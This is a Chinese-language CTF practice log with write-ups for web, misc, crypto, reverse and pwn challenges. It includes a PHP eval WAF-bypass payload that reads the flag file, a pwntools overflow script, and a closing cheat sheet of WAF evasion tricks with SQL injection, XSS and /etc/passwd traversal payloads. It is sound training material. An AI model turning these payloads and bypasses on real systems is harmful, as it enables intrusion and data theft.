寒假2.8
题解
web:[RoarCTF 2019]Easy Calc
打开,是一个计算界面
看一下源代码,提示设置了WAF,并且有一个calc.php文件
访问一下calc.php文件,得到源码,使用get方式传参赋值给num,设置了黑名单,绕过黑名单即可通过eval进行任意php语句
由于前面说了设置了WAF,我们在“?”后输入一个空格进行绕过
原理:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉
也就是说,当我加了一个空格,那么服务器就认为我传入的是空格num而不是num,就不属于黑名单
输入了一个
calc.php? num=system('ls');
我寻思ls也不在黑名单里啊,但是不行,后面看了其他大佬的wp,原来是有WAF绕过的时候基本不能传入字符,因为大多数字符都会被过滤掉
使用scandir查看目录中的内容,找到存有flag的文件,由于/被过滤了,尝试使用chr对/的ascii码进行转换绕过,只有这个才不需要引号
? num=scandir("/")
==>? num=var_dump(scandir(chr(47)))
盲猜flag在里面
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
misc:buuctf john-in-the-middle
打开附件,是一个.pcap文件
导出http数据流
保存一下
有几张图片,其中logo.png里面好像被打了马赛克,怀疑flag在这张图里
法一:用stegsolve看看,在其中一个通道发现了flag
flag{J0hn_th3_Sn1ff3r}
法二:用stegsolve打开scanlines.png,在很多通道都可以发现有一条线
将两张图片合成,一样可以得到flag
crypto:buuctf-RSAROLL
下载附件,给了n,e,c
用工具分解一下n,得到p,q
脚本及其解释:
import gmpy2
e = 19
p = 18443
q = 49891
n = p * q #模数
phi = (p - 1) * (q - 1) #欧拉函数值
d = gmpy2.invert(e, phi)#计算私钥d
c=[704796792,752211152,
274704164,
18414022,
368270835,
483295235,
263072905,
459788476,
483295235,
459788476,
663551792,
475206804,
459788476,
428313374,
475206804,
459788476,
425392137,
704796792,
458265677,
341524652,
483295235,
534149509,
425392137,
428313374,
425392137,
341524652,
458265677,
263072905,
483295235,
828509797,
341524652,
425392137,
475206804,
428313374,
483295235,
475206804,
459788476,
306220148]
m = [pow(i, d, n) for i in c]#使用公式 m = c^d mod n 对每个密文值进行解密
message = ''.join([chr(i) for i in m])#将解密后的整数值转换为对应的ASCII字符并拼接
print(message)
运行脚本即可得到flag
reverse:[BJDCTF2020]JustRE
附件是一个.exe文件,运行一下试试
查壳,无壳32位
ida32打开,看不出主函数
shift+f12查看,发现了可疑字符串,点进去查看
按x交叉引用查看
找到关键函数
关键是这个
当点击次数为1999的时候,使用sprintf函数输出字符BJD{1999902069a45792d233ac}
,并将其设置为窗口的标题,把BJD换成flag即可得到flag
pwn:buuctf-ciscn_2019_n_8
用exeinfope查看,32位无壳
ida32打开,查看主函数,大概意思就是会读取写入的字节,放入var[ ]中,当var[13]=17LL的时候就执行system函数
找到了system函数,这里我们要想办法让var[13]=17LL
脚本:
from pwn import *
r = remote("node5.buuoj.cn",28096)
offset = 14 # var[13]一共有14个元素
payload = p32(17) * offset
r.sendline(payload)
r.interactive()
运行脚本得到flag
知识点
WAF绕过
理解WAF的检测规则
-
WAF 通常基于正则表达式或规则集来检测恶意输入。
-
通过分析 WAF 的行为(如拦截的请求、返回的错误信息),可以推测其检测规则。
-
使用工具(如
WAFW00F
)识别 WAF 的类型和版本。
常见绕过技巧
(1)大小写混淆
SELECT * FROM users; --> sElEcT * FrOm UsErS;
(2)编码绕过
URL编码:
SELECT * FROM users; --> %53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%75%73%65%72%73%3B
Unicode编码:
SELECT * FROM users; --> \u0053\u0045\u004C\u0045\u0043\u0054\u0020\u002A\u0020\u0046\u0052\u004F\u004D\u0020\u0075\u0073\u0065\u0072\u0073\u003B
Base64编码:
SELECT * FROM users; --> U0VMRUNUICogRlJPTSB1c2Vyczs=
(3)注释符绕过
在payload中插入注释符,干扰WAF的检测
SELECT/*comment*/ * FROM users;
(4)分块传输
将payload分成多个小块发送,绕过WAF的检测
POST /vulnerable-endpoint HTTP/1.1
Transfer-Encoding: chunked
4
SELECT
5
* FROM
6
users;
0
(5)参数污染
在请求中重复参数,利用WAF和服务器解析的差异绕过
原理:在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性
GET /vulnerable-endpoint?id=1&id=2&id=SELECT * FROM users;
(6)特殊字符绕过
使用特殊字符(如换行符、制表符)干扰 WAF 的检测
SELECT\t*\nFROM users;
(7)多语言混淆
使用多语言字符集(如宽字符绕过WAF)
SELECT * FROM users WHERE name = 'admin' AND 1=1;
--> SELECT * FROM users WHERE name = 'admin' AND 1=1;
(8)逻辑绕过
利用 WAF 的逻辑漏洞,构造合法的 payload
SELECT * FROM users WHERE id = 1 AND 1=1;
--> SELECT * FROM users WHERE id = 1 AND true;
4种情况示例
(1)SQL注入绕过
SELECT * FROM users WHERE id = 1 AND 1=1;
-->SELECT/*comment*/ * FROM users WHERE id = 1 AND 1=1;
(2)XSS绕过
<script>alert(1);</script>
--><img src=x onerror=alert(1)>
(3)文件包含绕过
?file=../../../../etc/passwd
--> ?file=....//....//....//....//etc/passwd